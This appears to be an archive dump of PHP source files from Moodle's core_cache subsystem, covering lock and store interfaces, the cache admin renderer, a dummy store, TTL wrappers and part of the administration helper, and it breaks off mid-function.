// Make sure we have a default config if needed. if (!config::config_file_exists()) { config_writer::create_default_configuration(true); } return new config_writer(); } } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(factory::class, \cache_factory::class); classes/cache_lock_interface.php000064400000007032152265337610013021 0ustar00. namespace core_cache; /** * Cache lock interface. * * This interface needs to be inherited by all cache lock plugins. * * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface cache_lock_interface { /** * Constructs an instance of the cache lock given its name and its configuration data * * @param string $name The unique name of the lock instance * @param array $configuration */ public function __construct($name, array $configuration = []); /** * Acquires a lock on a given key. * * @param string $key The key to acquire a lock for. * @param string $ownerid An unique identifier for the owner of this lock. It is entirely optional for the cache lock plugin * to use this. Each implementation can decide for themselves. * @param bool $block If set to true the application will wait until a lock can be acquired * @return bool True if the lock can be acquired false otherwise. */ public function lock($key, $ownerid, $block = false); /** * Releases the lock held on a certain key. * * @param string $key The key to release the lock for. * @param string $ownerid An unique identifier for the owner of this lock. It is entirely optional for the cache lock plugin * to use this. Each implementation can decide for themselves. * @param bool $forceunlock If set to true the lock will be removed if it exists regardless of whether or not we own it. */ public function unlock($key, $ownerid, $forceunlock = false); /** * Checks the state of the given key. * * Returns true if the key is locked and belongs to the ownerid. * Returns false if the key is locked but does not belong to the ownerid. * Returns null if there is no lock * * @param string $key The key we are checking for. * @param string $ownerid The identifier so we can check if we have the lock or if it is someone else. * @return bool True if this code has the lock, false if there is a lock but this code doesn't have it, null if there * is no lock. */ public function check_state($key, $ownerid); /** * Cleans up any left over locks. * * This function MUST clean up any locks that have been acquired and not released during processing. * Although the situation of acquiring a lock and not releasing it should be insanely rare we need to deal with it. * Things such as unfortunate timeouts etc could cause this situation. */ public function __destruct(); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_lock_interface::class, \cache_lock_interface::class); classes/output/renderer.php000064400000050422152265337610012075 0ustar00. namespace core_cache\output; use context; use core_cache\factory as cache_factory; use core_cache\store as cache_store; use core_collator; use html_table; use html_table_cell; use html_table_row; use html_writer; use lang_string; use moodle_url; use single_select; /** * The cache renderer (mainly admin interfaces). * * @package core_cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class renderer extends \plugin_renderer_base { /** * Displays store summaries. * * @param array $storeinstancesummaries information about each store instance, * as returned by core_cache\administration_helper::get_store_instance_summaries(). * @param array $storepluginsummaries information about each store plugin as * returned by core_cache\administration_helper::get_store_plugin_summaries(). * @return string HTML */ public function store_instance_summariers(array $storeinstancesummaries, array $storepluginsummaries) { $table = new html_table(); $table->head = [ get_string('storename', 'cache'), get_string('plugin', 'cache'), get_string('storeready', 'cache'), get_string('mappings', 'cache'), get_string('modes', 'cache'), get_string('supports', 'cache'), get_string('locking', 'cache') . ' ' . $this->output->help_icon('locking', 'cache'), get_string('actions', 'cache'), ]; $table->colclasses = [ 'storename', 'plugin', 'storeready', 'mappings', 'modes', 'supports', 'locking', 'actions', ]; $table->data = []; $defaultstoreactions = get_string('defaultstoreactions', 'cache'); foreach ($storeinstancesummaries as $name => $storesummary) { $htmlactions = cache_factory::get_administration_display_helper()->get_store_instance_actions($name, $storesummary); $modes = []; foreach ($storesummary['modes'] as $mode => $enabled) { if ($enabled) { $modes[] = get_string('mode_' . $mode, 'cache'); } } $supports = []; foreach ($storesummary['supports'] as $support => $enabled) { if ($enabled) { $supports[] = get_string('supports_' . $support, 'cache'); } } $info = ''; if (!empty($storesummary['default'])) { $info = $this->output->pix_icon('i/info', $defaultstoreactions, '', ['class' => 'icon']); } $isready = $storesummary['isready'] && $storesummary['requirementsmet']; $readycell = new html_table_cell(); if ($isready) { $readycell->text = $this->output->pix_icon('i/valid', '1'); } $storename = $storesummary['name']; if (!empty($storesummary['default'])) { $storename = get_string('store_' . $storesummary['name'], 'cache'); } if (!$isready && (int)$storesummary['mappings'] > 0) { $readycell->text = $this->output->help_icon('storerequiresattention', 'cache'); $readycell->attributes['class'] = 'store-requires-attention'; } $lock = $storesummary['lock']['name']; if (!empty($storesummary['lock']['default'])) { $lock = get_string($storesummary['lock']['name'], 'cache'); } $row = new html_table_row([ $storename, get_string('pluginname', 'cachestore_' . $storesummary['plugin']), $readycell, $storesummary['mappings'], join(', ', $modes), join(', ', $supports), $lock, $info . join(', ', $htmlactions), ]); $row->attributes['class'] = 'store-' . $name; if ($storesummary['default']) { $row->attributes['class'] .= ' default-store'; } $table->data[] = $row; } $html = html_writer::start_tag('div', ['id' => 'core-cache-store-summaries']); $html .= $this->output->heading(get_string('storesummaries', 'cache'), 3); $html .= html_writer::table($table); $html .= html_writer::end_tag('div'); return $html; } /** * Displays plugin summaries. * * @param array $storepluginsummaries information about each store plugin as * returned by core_cache\administration_helper::get_store_plugin_summaries(). * @return string HTML */ public function store_plugin_summaries(array $storepluginsummaries) { $table = new html_table(); $table->head = [ get_string('plugin', 'cache'), get_string('storeready', 'cache'), get_string('stores', 'cache'), get_string('modes', 'cache'), get_string('supports', 'cache'), get_string('actions', 'cache'), ]; $table->colclasses = [ 'plugin', 'storeready', 'stores', 'modes', 'supports', 'actions', ]; $table->data = []; foreach ($storepluginsummaries as $name => $plugin) { $htmlactions = cache_factory::get_administration_display_helper()->get_store_plugin_actions($name, $plugin); $modes = []; foreach ($plugin['modes'] as $mode => $enabled) { if ($enabled) { $modes[] = get_string('mode_' . $mode, 'cache'); } } $supports = []; foreach ($plugin['supports'] as $support => $enabled) { if ($enabled) { $supports[] = get_string('supports_' . $support, 'cache'); } } $row = new html_table_row([ $plugin['name'], ($plugin['requirementsmet']) ? $this->output->pix_icon('i/valid', '1') : '', $plugin['instances'], join(', ', $modes), join(', ', $supports), join(', ', $htmlactions), ]); $row->attributes['class'] = 'plugin-' . $name; $table->data[] = $row; } $html = html_writer::start_tag('div', ['id' => 'core-cache-plugin-summaries']); $html .= $this->output->heading(get_string('pluginsummaries', 'cache'), 3); $html .= html_writer::table($table); $html .= html_writer::end_tag('div'); return $html; } /** * Displays definition summaries. * * @param array $definitionsummaries information about each definition, as returned by * core_cache\administration_helper::get_definition_summaries(). * @param context $context the system context. * * @return string HTML. */ public function definition_summaries(array $definitionsummaries, context $context) { $table = new html_table(); $table->head = [ get_string('definition', 'cache'), get_string('mode', 'cache'), get_string('component', 'cache'), get_string('area', 'cache'), get_string('mappings', 'cache'), get_string('sharing', 'cache'), get_string('canuselocalstore', 'cache'), get_string('actions', 'cache'), ]; $table->colclasses = [ 'definition', 'mode', 'component', 'area', 'mappings', 'sharing', 'canuselocalstore', 'actions', ]; $table->data = []; core_collator::asort_array_of_arrays_by_key($definitionsummaries, 'name'); $none = new lang_string('none', 'cache'); foreach ($definitionsummaries as $id => $definition) { $htmlactions = cache_factory::get_administration_display_helper()->get_definition_actions($context, $definition); if (!empty($definition['mappings'])) { $mapping = join(', ', $definition['mappings']); } else { $mapping = '' . $none . ''; } $uselocalcachecol = get_string('no'); if ($definition['mode'] != cache_store::MODE_REQUEST) { if (isset($definition['canuselocalstore']) && $definition['canuselocalstore']) { $uselocalcachecol = get_string('yes'); } } $row = new html_table_row([ $definition['name'], get_string('mode_' . $definition['mode'], 'cache'), $definition['component'], $definition['area'], $mapping, join(', ', $definition['selectedsharingoption']), $uselocalcachecol, join(', ', $htmlactions), ]); $row->attributes['class'] = 'definition-' . $definition['component'] . '-' . $definition['area']; $table->data[] = $row; } $html = html_writer::start_tag('div', ['id' => 'core-cache-definition-summaries']); $html .= $this->output->heading(get_string('definitionsummaries', 'cache'), 3); $html .= html_writer::table($table); $url = new moodle_url('/cache/admin.php', ['action' => 'rescandefinitions', 'sesskey' => sesskey()]); $link = html_writer::link($url, get_string('rescandefinitions', 'cache')); $html .= html_writer::tag('div', $link, ['id' => 'core-cache-rescan-definitions']); $html .= html_writer::end_tag('div'); return $html; } /** * Displays mode mappings * * @param string $applicationstore * @param string $sessionstore * @param string $requeststore * @param moodle_url $editurl * @return string HTML */ public function mode_mappings($applicationstore, $sessionstore, $requeststore, moodle_url $editurl) { $table = new html_table(); $table->colclasses = [ 'mode', 'mapping', ]; $table->rowclasses = [ 'mode_application', 'mode_session', 'mode_request', ]; $table->head = [ get_string('mode', 'cache'), get_string('mappings', 'cache'), ]; $table->data = [ [get_string('mode_' . cache_store::MODE_APPLICATION, 'cache'), $applicationstore], [get_string('mode_' . cache_store::MODE_SESSION, 'cache'), $sessionstore], [get_string('mode_' . cache_store::MODE_REQUEST, 'cache'), $requeststore], ]; $html = html_writer::start_tag('div', ['id' => 'core-cache-mode-mappings']); $html .= $this->output->heading(get_string('defaultmappings', 'cache'), 3); $html .= html_writer::table($table); $link = html_writer::link($editurl, get_string('editmappings', 'cache')); $html .= html_writer::tag('div', $link, ['class' => 'edit-link']); $html .= html_writer::end_tag('div'); return $html; } /** * Display basic information about lock instances. * * @todo Add some actions so that people can configure lock instances. * * @param array $locks * @return string */ public function lock_summaries(array $locks) { $table = new html_table(); $table->colclasses = [ 'name', 'type', 'default', 'uses', 'actions', ]; $table->rowclasses = [ 'lock_name', 'lock_type', 'lock_default', 'lock_uses', 'lock_actions', ]; $table->head = [ get_string('lockname', 'cache'), get_string('locktype', 'cache'), get_string('lockdefault', 'cache'), get_string('lockuses', 'cache'), get_string('actions', 'cache'), ]; $table->data = []; $tick = $this->output->pix_icon('i/valid', ''); foreach ($locks as $lock) { $actions = []; if ($lock['uses'] === 0 && !$lock['default']) { $url = new moodle_url('/cache/admin.php', ['lock' => $lock['name'], 'action' => 'deletelock']); $actions[] = html_writer::link($url, get_string('delete', 'cache')); } $table->data[] = new html_table_row([ new html_table_cell($lock['name']), new html_table_cell($lock['type']), new html_table_cell($lock['default'] ? $tick : ''), new html_table_cell($lock['uses']), new html_table_cell(join(' ', $actions)), ]); } $html = html_writer::start_tag('div', ['id' => 'core-cache-lock-summary']); $html .= $this->output->heading(get_string('locksummary', 'cache'), 3); $html .= html_writer::table($table); $html .= html_writer::end_tag('div'); return $html; } /** * Renders additional actions for locks, such as Add. * * @return string */ public function additional_lock_actions(): string { $url = new moodle_url('/cache/admin.php', ['action' => 'newlockinstance']); $select = new single_select($url, 'lock', cache_factory::get_administration_display_helper()->get_addable_lock_options()); $select->label = get_string('addnewlockinstance', 'cache'); $html = html_writer::start_tag('div', ['id' => 'core-cache-lock-additional-actions']); $html .= html_writer::tag('div', $this->output->render($select), ['class' => 'new-instance']); $html .= html_writer::end_tag('div'); return $html; } /** * Renders an array of notifications for the cache configuration screen. * * Takes an array of notifications with the form: * $notifications = array( * array('This is a success message', true), * array('This is a failure message', false), * ); * * @param array $notifications * @return string */ public function notifications(array $notifications = []) { if (count($notifications) === 0) { // There are no notifications to render. return ''; } $html = html_writer::start_div('notifications'); foreach ($notifications as $notification) { [$message, $notifysuccess] = $notification; $html .= $this->notification($message, ($notifysuccess) ? 'notifysuccess' : 'notifyproblem'); } $html .= html_writer::end_div(); return $html; } /** * Creates the two tables which display on the usage page. * * @param array $usage Usage information (from \core_cache\helper::usage) * @return array Array of 2 tables (main and summary table) * @throws \coding_exception */ public function usage_tables(array $usage): array { $table = new \html_table(); $table->id = 'usage_main'; $table->head = [ get_string('definition', 'cache'), get_string('storename', 'cache'), get_string('plugin', 'cache'), get_string('usage_items', 'cache'), get_string('usage_mean', 'cache'), get_string('usage_sd', 'cache'), get_string('usage_total', 'cache'), get_string('usage_totalmargin', 'cache'), ]; $table->align = [ 'left', 'left', 'left', 'right', 'right', 'right', 'right', 'right', ]; $table->data = []; $summarytable = new \html_table(); $summarytable->id = 'usage_summary'; $summarytable->head = [ get_string('storename', 'cache'), get_string('plugin', 'cache'), get_string('usage_total', 'cache'), get_string('usage_realtotal', 'cache'), ]; $summarytable->align = [ 'left', 'left', 'right', 'right', ]; $summarytable->data = []; $summarytable->attributes['class'] = 'generaltable w-auto table table-hover'; $storetotals = []; // We will highlight all cells that are more than 2% of total size, so work that out first. $total = 0; foreach ($usage as $definition) { foreach ($definition->stores as $storedata) { $total += $storedata->items * $storedata->mean; } } $highlightover = round($total / 50); foreach ($usage as $definition) { foreach ($definition->stores as $storedata) { $row = []; $row[] = s($definition->cacheid); $row[] = s($storedata->name); $row[] = s($storedata->class); if (!$storedata->supported) { // We don't have data for this store because it isn't searchable. $row[] = '-'; } else { $row[] = $storedata->items; } if ($storedata->items) { $row[] = display_size(round($storedata->mean)); if ($storedata->items > 1) { $row[] = display_size(round($storedata->sd)); } else { $row[] = ''; } $cellsize = round($storedata->items * $storedata->mean); $row[] = display_size($cellsize, 1, 'MB'); if (!array_key_exists($storedata->name, $storetotals)) { $storetotals[$storedata->name] = (object)[ 'plugin' => $storedata->class, 'total' => 0, 'storetotal' => $storedata->storetotal, ]; } $storetotals[$storedata->name]->total += $cellsize; } else { $row[] = ''; $row[] = ''; $cellsize = 0; $row[] = ''; } if ($storedata->margin) { // Plus or minus. $row[] = '±' . display_size($storedata->margin * $storedata->items, 1, 'MB'); } else { $row[] = ''; } $htmlrow = new \html_table_row($row); if ($cellsize > $highlightover) { $htmlrow->attributes = ['class' => 'table-warning']; } $table->data[] = $htmlrow; } } ksort($storetotals); foreach ($storetotals as $storename => $storedetails) { $row = [s($storename), s($storedetails->plugin)]; $row[] = display_size($storedetails->total, 1, 'MB'); if ($storedetails->storetotal !== null) { $row[] = display_size($storedetails->storetotal, 1, 'MB'); } else { $row[] = '-'; } $summarytable->data[] = $row; } return [$table, $summarytable]; } /** * Renders the usage page. * * @param \html_table $maintable Main table * @param \html_table $summarytable Summary table * @param \moodleform $samplesform Form to select number of samples * @return string HTML for page */ public function usage_page(\html_table $maintable, \html_table $summarytable, \moodleform $samplesform): string { $data = [ 'maintable' => \html_writer::table($maintable), 'summarytable' => \html_writer::table($summarytable), 'samplesform' => $samplesform->render(), ]; return $this->render_from_template('core_cache/usage', $data); } } classes/output/usage_samples_form.php000064400000003462152265337610014144 0ustar00. /** * Form for usage page to select number of samples. * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_cache\output; defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir . '/formslib.php'); /** * Form for usage page to select number of samples. * * @package core_cache */ class usage_samples_form extends \moodleform { /** * Constructor sets form up to use GET request to current page. */ public function __construct() { parent::__construct(null, null, 'get'); } /** * Adds controls to form. */ protected function definition() { $mform = $this->_form; $radioarray = []; foreach ([50, 100, 200, 500, 1000] as $samples) { $radioarray[] = $mform->createElement('radio', 'samples', '', $samples, $samples); } $mform->setDefault('samples', 50); $mform->addGroup($radioarray, 'samplesradios', get_string('usage_samples', 'cache'), [' '], false); $mform->addElement('submit', 'submit', get_string('update')); } } classes/store_interface.php000064400000005701152265337610012103 0ustar00. namespace core_cache; /** * Cache store interface. * * This interface defines the static methods that must be implemented by every cache store plugin. * To ensure plugins implement this class the abstract store class implements this interface. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface store_interface { /** * Static method to check if the store requirements are met. * * @return bool True if the stores software/hardware requirements have been met and it can be used. False otherwise. */ public static function are_requirements_met(); /** * Static method to check if a store is usable with the given mode. * * @param int $mode One of store::MODE_* */ public static function is_supported_mode($mode); /** * Returns the supported features as a binary flag. * * @param array $configuration The configuration of a store to consider specifically. * @return int The supported features. */ public static function get_supported_features(array $configuration = []); /** * Returns the supported modes as a binary flag. * * @param array $configuration The configuration of a store to consider specifically. * @return int The supported modes. */ public static function get_supported_modes(array $configuration = []); /** * Generates an instance of the cache store that can be used for testing. * * Returns an instance of the cache store, or false if one cannot be created. * * @param definition $definition * @return store_interface|false */ public static function initialise_test_instance(definition $definition); /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration(); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(store_interface::class, \cache_store_interface::class); classes/allow_temporary_caches.php000064400000005476152265337610013466 0ustar00. namespace core_cache; /** * Create and keep an instance of this class to allow temporary caches when caches are disabled. * * This class works together with code in {@see disabled_factory}. * * The intention is that temporary cache should be short-lived (not for the entire install process), * which avoids two problems: first, that we might run out of memory for the caches, and second, * that some code e.g. install.php/upgrade.php files, is entitled to assume that caching is not * used and make direct database changes. * * @package core_cache * @copyright 2022 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class allow_temporary_caches { /** @var int Number of references of this class; if more than 0, temporary caches are allowed */ protected static $references = 0; /** * Constructs an instance of this class. * * Temporary caches will be allowed until this instance goes out of scope. Store this token * in a local variable, so that the caches have a limited life; do not save it outside your * function. * * If cache is not disabled then normal (non-temporary) caches will be used, and this class * does nothing. * * If an object of this class already exists then creating (or destroying) another one will * have no effect. */ public function __construct() { self::$references++; } /** * Destroys an instance of this class. * * You do not need to call this manually; PHP will call it automatically when your variable * goes out of scope. If you do need to remove your token at other times, use unset($token); * * If there are no other instances of this object, then all temporary caches will be discarded. */ public function __destruct() { self::$references--; if (self::$references === 0) { disabled_factory::clear_temporary_caches(); } } /** * Checks if temp caches are currently allowed. * * @return bool True if allowed */ public static function is_allowed(): bool { return self::$references > 0; } } classes/ttl_wrapper.php000064400000003717152265337610011277 0ustar00. namespace core_cache; /** * A wrapper class used to handle ttl when the cache store doesn't natively support it. * * This class is exactly why you should use event driving invalidation of cache data rather than relying on ttl. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class ttl_wrapper { /** * The data being stored. * @var mixed */ public $data; /** * When the cache data expires as a timestamp. * @var int */ public $expires; /** * Constructs a ttl cache wrapper. * * @param mixed $data * @param int $ttl The time to live in seconds. */ public function __construct($data, $ttl) { $this->data = $data; $this->expires = cache::now() + (int)$ttl; } /** * Returns true if the data has expired. * @return int */ public function has_expired() { return ($this->expires < cache::now()); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(ttl_wrapper::class, \cache_ttl_wrapper::class); classes/dummy_cachestore.php000064400000017117152265337610012266 0ustar00. namespace core_cache; /** * The cache dummy store. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core_cache */ class dummy_cachestore extends store { /** * The name of this store. * @var string */ protected $name; /** * Gets set to true if this store is going to store data. * This happens when the definition doesn't require static acceleration as the loader will not be storing information and * something has to. * @var bool */ protected $persist = false; /** * The stored data array * @var array */ protected $store = []; /** * Cache definition * @var definition */ protected $definition; /** * Constructs a dummy store instance. * @param string $name * @param array $configuration */ public function __construct($name = 'Dummy store', array $configuration = []) { $this->name = $name; } /** * Returns true if this store plugin is usable. * @return bool */ public static function are_requirements_met() { return true; } /** * Returns true if the user can add an instance. * @return bool */ public static function can_add_instance() { return false; } /** * Returns the supported features. * @param array $configuration * @return int */ public static function get_supported_features(array $configuration = []) { return store::SUPPORTS_NATIVE_TTL; } /** * Returns the supported mode. * @param array $configuration * @return int */ public static function get_supported_modes(array $configuration = []) { return store::MODE_APPLICATION + store::MODE_REQUEST + store::MODE_SESSION; } /** * Initialises the store instance for a definition. * @param definition $definition */ public function initialise(definition $definition) { // If the definition isn't using static acceleration then we need to be store data here. // The reasoning behind this is that: // - If the definition is using static acceleration then the cache loader is going to // store things in its static array. // - If the definition is not using static acceleration then the cache loader won't try to store anything // and we will need to store it here in order to make sure it is accessible. if ($definition->get_mode() !== store::MODE_APPLICATION) { // Neither the request cache nor the session cache provide static acceleration. $this->persist = true; } else { $this->persist = !$definition->use_static_acceleration(); } $this->definition = $definition; } /** * Returns true if this has been initialised. * @return bool */ public function is_initialised() { return (!empty($this->definition)); } /** * Returns true the given mode is supported. * @param int $mode * @return bool */ public static function is_supported_mode($mode) { return true; } /** * Returns the data for the given key * @param string $key * @return string|false */ public function get($key) { if ($this->persist && array_key_exists($key, $this->store)) { return $this->store[$key]; } return false; } /** * Gets' the values for many keys * @param array $keys * @return bool */ public function get_many($keys) { $return = []; foreach ($keys as $key) { if ($this->persist && array_key_exists($key, $this->store)) { $return[$key] = $this->store[$key]; } else { $return[$key] = false; } } return $return; } /** * Sets an item in the cache * @param string $key * @param mixed $data * @return bool */ public function set($key, $data) { if ($this->persist) { $this->store[$key] = $data; } return true; } /** * Sets many items in the cache * @param array $keyvaluearray * @return int */ public function set_many(array $keyvaluearray) { if ($this->persist) { foreach ($keyvaluearray as $pair) { $this->store[$pair['key']] = $pair['value']; } } return count($keyvaluearray); } /** * Deletes an item from the cache * @param string $key * @return bool */ public function delete($key) { unset($this->store[$key]); return true; } /** * Deletes many items from the cache * @param array $keys * @return bool */ public function delete_many(array $keys) { if ($this->persist) { foreach ($keys as $key) { unset($this->store[$key]); } } return count($keys); } /** * Deletes all of the items from the cache. * @return bool */ public function purge() { $this->store = []; return true; } /** * Performs any necessary clean up when the store instance is being deleted. * * @deprecated since 3.2 * @see dummy_cachestore::instance_deleted() */ public function cleanup() { debugging( 'dummy_cachestore::cleanup() is deprecated. Please use dummy_cachestore::instance_deleted() instead.', DEBUG_DEVELOPER ); $this->instance_deleted(); } /** * Performs any necessary operation when the store instance is being deleted. * * This method may be called before the store has been initialised. * * @since Moodle 3.2 */ public function instance_deleted() { $this->purge(); } /** * Generates an instance of the cache store that can be used for testing. * * @param definition $definition * @return self */ public static function initialise_test_instance(definition $definition) { $cache = new dummy_cachestore('Dummy store test'); if ($cache->is_ready()) { $cache->initialise($definition); } return $cache; } /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration() { return []; } /** * Returns the name of this instance. * @return string */ public function my_name() { return $this->name; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(dummy_cachestore::class, \cachestore_dummy::class); classes/key_aware_cache_interface.php000064400000010411152265337610014033 0ustar00. namespace core_cache; /** * Cache store feature: key awareness. * * This is a feature that cache stores and cache loaders can both choose to implement. * If a cache store implements this then it will be made responsible for tests for items within the cache. * If the cache store being used doesn't implement this then it will be the responsibility of the cache loader to use the * equivalent get methods to mimick the functionality of these tests. * * Cache stores should only override these methods if they natively support such features or if they have a better performing * means of performing these tests than the handling that would otherwise take place in the cache_loader. * * Can be implemented by classes already implementing cache_store. * * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface key_aware_cache_interface { /** * Test is a cache has a key. * * The use of the has methods is strongly discouraged. In a high load environment the cache may well change between the * test and any subsequent action (get, set, delete etc). * Instead it is recommended to write your code in such a way they it performs the following steps: *
    *
  1. Attempt to retrieve the information.
  2. *
  3. Generate the information.
  4. *
  5. Attempt to set the information
  6. *
* * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param string|int $key * @return bool True if the cache has the requested key, false otherwise. */ public function has($key); /** * Test if a cache has at least one of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has at least one of the given keys */ public function has_any(array $keys); /** * Test is a cache has all of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has all of the given keys, false otherwise. */ public function has_all(array $keys); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(key_aware_cache_interface::class, \cache_is_key_aware::class); classes/administration_helper.php000064400000042005152265337610013311 0ustar00. namespace core_cache; use core_component; use core\output\pix_icon; use lang_string; /** * Administration helper base class. * * Defines abstract methods for a subclass to define the admin page. * * @package core_cache * @category cache * @author Peter Burnett * @copyright 2020 Catalyst IT * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class administration_helper extends helper { /** * Returns an array containing all of the information about stores a renderer needs. * @return array */ public static function get_store_instance_summaries(): array { $return = []; $default = []; $instance = config::instance(); $stores = $instance->get_all_stores(); $locks = $instance->get_locks(); foreach ($stores as $name => $details) { $class = $details['class']; $store = false; if ($class::are_requirements_met()) { $store = new $class($details['name'], $details['configuration']); } $lock = (isset($details['lock'])) ? $locks[$details['lock']] : $instance->get_default_lock(); $record = [ 'name' => $name, 'plugin' => $details['plugin'], 'default' => $details['default'], 'isready' => $store ? $store->is_ready() : false, 'requirementsmet' => $class::are_requirements_met(), 'mappings' => 0, 'lock' => $lock, 'modes' => [ store::MODE_APPLICATION => ($class::get_supported_modes($return) & store::MODE_APPLICATION) == store::MODE_APPLICATION, store::MODE_SESSION => ($class::get_supported_modes($return) & store::MODE_SESSION) == store::MODE_SESSION, store::MODE_REQUEST => ($class::get_supported_modes($return) & store::MODE_REQUEST) == store::MODE_REQUEST, ], 'supports' => [ 'multipleidentifiers' => $store ? $store->supports_multiple_identifiers() : false, 'dataguarantee' => $store ? $store->supports_data_guarantee() : false, 'nativettl' => $store ? $store->supports_native_ttl() : false, 'nativelocking' => ($store instanceof lockable_cache_interface), 'keyawareness' => ($store instanceof key_aware_cache_interface), 'searchable' => ($store instanceof searchable_cache_interface), ], 'warnings' => $store ? $store->get_warnings() : [], ]; if (empty($details['default'])) { $return[$name] = $record; } else { $default[$name] = $record; } } ksort($return); ksort($default); $return = $return + $default; $mappings = $instance->get_definition_mappings(); foreach ($mappings as $mapping) { if (!array_key_exists($mapping['store'], $return)) { continue; } $return[$mapping['store']]['mappings']++; } // Now get all definitions, and if not mapped, increment the defaults for the mode. $modemappings = $instance->get_mode_mappings(); foreach ($instance->get_definitions() as $definition) { // Construct the definition name to search for. $defname = $definition['component'] . '/' . $definition['area']; // Skip if definition is already mapped. if (array_search($defname, array_column($mappings, 'definition')) !== false) { continue; } $mode = $definition['mode']; // Get the store name of the default mapping from the mode. $index = array_search($mode, array_column($modemappings, 'mode')); $store = $modemappings[$index]['store']; $return[$store]['mappings']++; } return $return; } /** * Returns an array of information about plugins, everything a renderer needs. * * @return array for each store, an array containing various information about each store. * See the code below for details */ public static function get_store_plugin_summaries(): array { $return = []; $plugins = \core_component::get_plugin_list_with_file('cachestore', 'lib.php', true); foreach ($plugins as $plugin => $path) { $class = 'cachestore_' . $plugin; $return[$plugin] = [ 'name' => get_string('pluginname', 'cachestore_' . $plugin), 'requirementsmet' => $class::are_requirements_met(), 'instances' => 0, 'modes' => [ store::MODE_APPLICATION => ($class::get_supported_modes() & store::MODE_APPLICATION), store::MODE_SESSION => ($class::get_supported_modes() & store::MODE_SESSION), store::MODE_REQUEST => ($class::get_supported_modes() & store::MODE_REQUEST), ], 'supports' => [ 'multipleidentifiers' => ($class::get_supported_features() & store::SUPPORTS_MULTIPLE_IDENTIFIERS), 'dataguarantee' => ($class::get_supported_features() & store::SUPPORTS_DATA_GUARANTEE), 'nativettl' => ($class::get_supported_features() & store::SUPPORTS_NATIVE_TTL), 'nativelocking' => (in_array(lockable_cache_interface::class, class_implements($class))), 'keyawareness' => (array_key_exists(key_aware_cache_interface::class, class_implements($class))), ], 'canaddinstance' => ($class::can_add_instance() && $class::are_requirements_met()), ]; } $instance = config::instance(); $stores = $instance->get_all_stores(); foreach ($stores as $store) { $plugin = $store['plugin']; if (array_key_exists($plugin, $return)) { $return[$plugin]['instances']++; } } return $return; } /** * Returns an array about the definitions. All the information a renderer needs. * * @return array for each store, an array containing various information about each store. * See the code below for details */ public static function get_definition_summaries(): array { $factory = factory::instance(); $config = $factory->create_config_instance(); $storenames = []; foreach ($config->get_all_stores() as $key => $store) { if (!empty($store['default'])) { $storenames[$key] = new lang_string('store_' . $key, 'cache'); } else { $storenames[$store['name']] = $store['name']; } } /* @var definition[] $definitions */ $definitions = []; $return = []; foreach ($config->get_definitions() as $key => $definition) { $definitions[$key] = definition::load($definition['component'] . '/' . $definition['area'], $definition); } foreach ($definitions as $id => $definition) { $mappings = []; foreach (helper::get_stores_suitable_for_definition($definition) as $store) { $mappings[] = $storenames[$store->my_name()]; } $return[$id] = [ 'id' => $id, 'name' => $definition->get_name(), 'mode' => $definition->get_mode(), 'component' => $definition->get_component(), 'area' => $definition->get_area(), 'mappings' => $mappings, 'canuselocalstore' => $definition->can_use_localstore(), 'sharingoptions' => self::get_definition_sharing_options($definition->get_sharing_options(), false), 'selectedsharingoption' => self::get_definition_sharing_options($definition->get_selected_sharing_option(), true), 'userinputsharingkey' => $definition->get_user_input_sharing_key(), ]; } return $return; } /** * Get the default stores for all modes. * * @return array An array containing sub-arrays, one for each mode. */ public static function get_default_mode_stores(): array { global $OUTPUT; $instance = config::instance(); $adequatestores = helper::get_stores_suitable_for_mode_default(); $icon = new pix_icon('i/warning', new lang_string('inadequatestoreformapping', 'cache')); $storenames = []; foreach ($instance->get_all_stores() as $key => $store) { if (!empty($store['default'])) { $storenames[$key] = new lang_string('store_' . $key, 'cache'); } } $modemappings = [ store::MODE_APPLICATION => [], store::MODE_SESSION => [], store::MODE_REQUEST => [], ]; 